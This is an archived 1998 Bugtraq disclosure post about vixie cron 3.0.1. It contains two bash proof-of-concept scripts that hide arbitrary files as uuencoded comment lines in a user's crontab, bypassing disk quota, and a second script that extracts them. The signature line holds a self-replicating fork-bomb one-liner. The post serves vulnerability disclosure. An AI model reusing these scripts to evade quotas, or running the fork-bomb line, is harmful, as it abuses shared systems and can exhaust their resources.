[6076] in bugtraq
vixie cron 3.0.1 continued
daemon@ATHENA.MIT.EDU (=?UNKNOWN-8BIT?Q?Micha=B3?= Zalews)
Thu Feb 5 11:55:27 1998
Date: Thu, 5 Feb 1998 17:16:18 +0100
Reply-To: =?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
From: =?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
The problem with vixie cron is wider (and more funny) than I expected.
Here's my proggy which allows hiding files of any kind and size into
crontab entries (remember, quota is ignored ;-):
-- cron_put --
#!/bin/bash
echo "Vixie cron 3.0.1 file storage - put utlility"
echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
echo
if [ "$1" =3D "" ]; then
echo usage: $0 file_to_hide
echo
exit 0
fi
if [ ! "`ulimit`" =3D "unlimited" ]; then
echo Warning, filesize limit is set to `ulimit`.
echo
fi
echo Installing fake crontab...
echo
echo "* * * * * # whoops..." >vix_tmp
uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
crontab vix_tmp
echo "Thank you, file stored successfully."
-- eof --
The next program allows futher extraction of these files:
-- cron_get --
#!/bin/bash
echo "Vixie cron 3.0.1 file storage - get utility"
echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
echo
if [ ! "`ulimit`" =3D "unlimited" ]; then
echo Warning, filesize limit is set to `ulimit`.
echo
fi
crontab -l | grep "#FAKE" | awk -F "#FAKE" '{print $2}'|uudecode
echo "File restored successfully."
-- eof --
_______________________________________________________________________
Micha=B3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.p=
l]
Iterowa=E6 jest rzecz=B1 ludzk=B1, wykonywa=E6 rekursywnie - bosk=B1 [P=
. Deustch]
=3D--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] ----------------=
-=3D
